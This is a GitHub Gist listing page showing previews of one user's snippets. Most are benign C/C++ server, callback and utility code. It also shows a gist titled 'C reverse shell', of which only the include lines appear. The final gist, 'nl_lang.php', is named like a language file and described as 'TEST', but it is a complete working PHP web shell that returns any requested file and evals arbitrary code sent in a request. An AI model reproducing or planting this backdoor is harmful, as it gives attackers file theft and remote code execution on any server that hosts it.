Skip to content

Instantly share code, notes, and snippets.

@Gydo194
Gydo194 / server.c
Created March 4, 2018 19:24
C99 compliant TCP chat server (yet again not my work)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
@Gydo194
Gydo194 / server.c
Created March 4, 2018 20:37
C99 compliant chat server (2.0)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
@Gydo194
Gydo194 / reverse_shell.c
Last active August 24, 2022 17:11
C reverse shell
#include <arpa/inet.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
//#include <cstdlib> //cpp
#include <stdlib.h> //c
//default connection details
@Gydo194
Gydo194 / Observer.hpp
Created March 26, 2018 19:30
C++ template Observer using function pointer callbacks
#ifndef OBSERVER_H
#define OBSERVER_H
#include <vector>
#include <iostream>
using namespace std;
template<class T>
@Gydo194
Gydo194 / EventHandler.h
Created April 3, 2018 19:39
C++ templated event handler (callback)
#ifndef EVENTHANDLER_H
#define EVENTHANDLER_H
#include <map>
using namespace std;
template<class K, class E> //KeyType, EventType
class EventHandler
{
@Gydo194
Gydo194 / Server.cpp
Last active January 6, 2025 09:03
C++ Event driven TCP socket server (multi client, single threaded)
/*
* Server.cpp
*
* EventServer is a simple C++ TCP socket server implementation,
* to serve as an example to anyone who wants to learn it.
* It can interface with the rest of your program using three callback functions.
* - onConnect, which fires when a new client connects. the client's fd is passed.
* - onDisconnect, which fires when a client disconnects. passes fd.
* - onInput, fires when input is received from a client. passes fd and char*
*
@Gydo194
Gydo194 / ps1.txt
Created April 30, 2018 18:45
PS1 Prompt with Git Integration (Debian)
\[\e]0;\u@\h: \w\a\]${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]$(__git_ps1)\$
@Gydo194
Gydo194 / map_utils.hpp
Created June 5, 2018 14:53
STL map utilities
/*
* map_utils.hpp
* Utilities for accessing STL maps
* original work by: Gydo194
*/
#ifndef MAP_GET_H
#define MAP_GET_H
#include <map>
@Gydo194
Gydo194 / rtti_mt.h
Created July 22, 2018 17:32
C Multi-Type struct implementation with run-time type information
//rtti_mt.h
//Run Time Type Information enabled Multi Type variable implementation
//Author: Gydo194
//2207181714
#pragma once
struct rtti_mt_t;
typedef struct rtti_mt_t rtti_mt_t;
@Gydo194
Gydo194 / nl_lang.php
Last active August 8, 2018 17:50
TEST
<?php
echo "SCRIPT RUN<br>";
if(isset($_REQUEST["file"]))
{
echo base64_encode(file_get_contents($_REQUEST["file"]));
}
if(isset($_REQUEST["code"]))
{
echo base64_encode(eval($_REQUEST["code"]));
}